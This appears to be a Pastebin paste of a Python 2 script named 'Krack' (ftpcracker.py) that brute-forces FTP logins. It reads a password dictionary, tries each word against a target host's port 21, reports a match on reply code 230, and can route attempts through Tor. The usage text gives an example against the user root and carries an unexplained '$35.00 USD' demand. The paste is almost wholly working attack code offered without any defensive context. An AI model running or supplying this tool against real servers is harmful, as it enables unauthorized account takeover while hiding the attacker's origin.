Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import sys, subprocess, socket, getopt, terminal, socks
- from datetime import datetime
- global term
- term = terminal.TerminalController()
- def crack(username, password):
- s = socks.socksocket()
- if (tor == True):
- s.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
- try:
- s.connect_ex((target, 21))
- print "[*] Trying " + username + ":" + password
- data = s.recv(1024)
- s.send('USER ' + username + '\r\n')
- data = s.recv(1024)
- s.send('PASS ' + password + '\r\n')
- data = s.recv (3)
- s.send('QUIT\r\n')
- s.close()
- return data
- except socket.error:
- print term.RED + "[F] COULD NOT CONNECT TO HOST: %s! PLEASE MAKE SURE IT'S UP AND TRY AGAIN!" % target
- print "[F] NOW EXITING..." + term.NORMAL
- sys.exit(-1)
- except socket.gaierror:
- print term.RED + "[F] THE ADDRESS YOU ENTERED DOES NOT MATCH ANY ON THE NETWORK. CHECK TO SEE IF HOST IS UP!"
- print "[F] NOW EXITING..." + term.NORMAL
- sys.exit(0)
- def start(dname, uname):
- global found_password
- found_password = False
- try:
- passFile = open(dname)
- for line in passFile.readlines():
- word = line.strip('\n')
- attempt = crack(uname, word)
- if '230' in attempt:
- found_password = True
- print term.RED + '*' * 80
- print(term.RED + '[***] PASSWORD FOUND: ' + term.BOLD + '%s' % (word) + term.NORMAL)
- print term.RED + '*' * 80 + term.NORMAL
- passFile.close()
- sys.exit(0)
- if not found_password:
- print(term.RED + '[F] Password was not found using dictionary file: %s' % (dname))
- print "[F] Please try another dictionary file."
- print "[F] Now Exiting..." + term.NORMAL
- sys.exit(-1)
- except KeyboardInterrupt:
- print "\n[*] User requested an Interrupt"
- print "[*] Now Exiting..."
- sys.exit(0)
- def usage():
- print './ftpcracker.py -t <target> -u <user> -d <dictionary file> [(-T), (-D)]\n'
- print '-t|--target <HostName|IP>'
- print '-u|--uname <UserName>'
- print '-d|--dname <Dictionary File>'
- print '-D|--debug Prints debug information just in case something goes wrong'
- print '-T|--tor Connects to target via the TOR port'
- print '-h|--help Shows this help menu then exits\n'
- print 'Eg: ./ftpcracker.py -t 192.168.100.1 -u root -d 500worstpasswords.txt\n'
- print term.RED + term.BOLD + "Warning: I require $35.00 USD " + term.NORMAL
- sys.exit()
- def main(argv):
- try:
- opts, args = getopt.getopt(argv, 'hDTt:d:u:',
- ['help', 'target', 'dname', 'uname',\
- 'tor', 'debug'])
- except getopt.GetoptError:
- usage()
- sys.exit(-1)
- global tor, target, word, passFile, debug, dname
- target = ''
- uname = ''
- dname = ''
- tor = False
- debug = False
- for o, a in opts:
- if o in ('-h', '--help'):
- usage()
- sys.exit(0)
- elif o in ('-u', '--uname'):
- uname = a
- elif o in ('-d', '--dname'):
- dname = a
- elif o in ('-t', '--target'):
- target = a
- elif o in ('-D', '--debug'):
- debug = True
- elif o in ('-T', '--tor'):
- tor = True
- print tor
- if not len(dname) or not len(uname) or not len(target):
- usage()
- if (tor == True):
- print "-" * 80
- print "[*] Trying to crack user: " + term.BLUE + uname + term.NORMAL + ' at host: ' + term.BLUE + target + term.NORMAL + ' via TOR'
- print '-' * 80
- else:
- print "-" * 80
- print '[*] Trying to crack user: ' + term.BLUE + uname + term.NORMAL + ' at host: ' + term.BLUE + target + term.NORMAL
- print '-' * 80
- if (debug == True):
- print term.BLUE + '\n[D] Target Address: %s' % target
- print '[D] Dictionary File Name: %s' % dname
- print '[D] Username: %s' % uname
- print "[D] Use Tor: %s " % tor
- print term.NORMAL + '\n'
- start(dname, uname)
- if __name__ == '__main__':
- print "\n/**************************\\"
- print "* Krack *"
- print "* *"
- print "* *"
- print "* *"
- print "* *"
- print "* *"
- print "\**************************/\n"
- main(sys.argv[1:])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement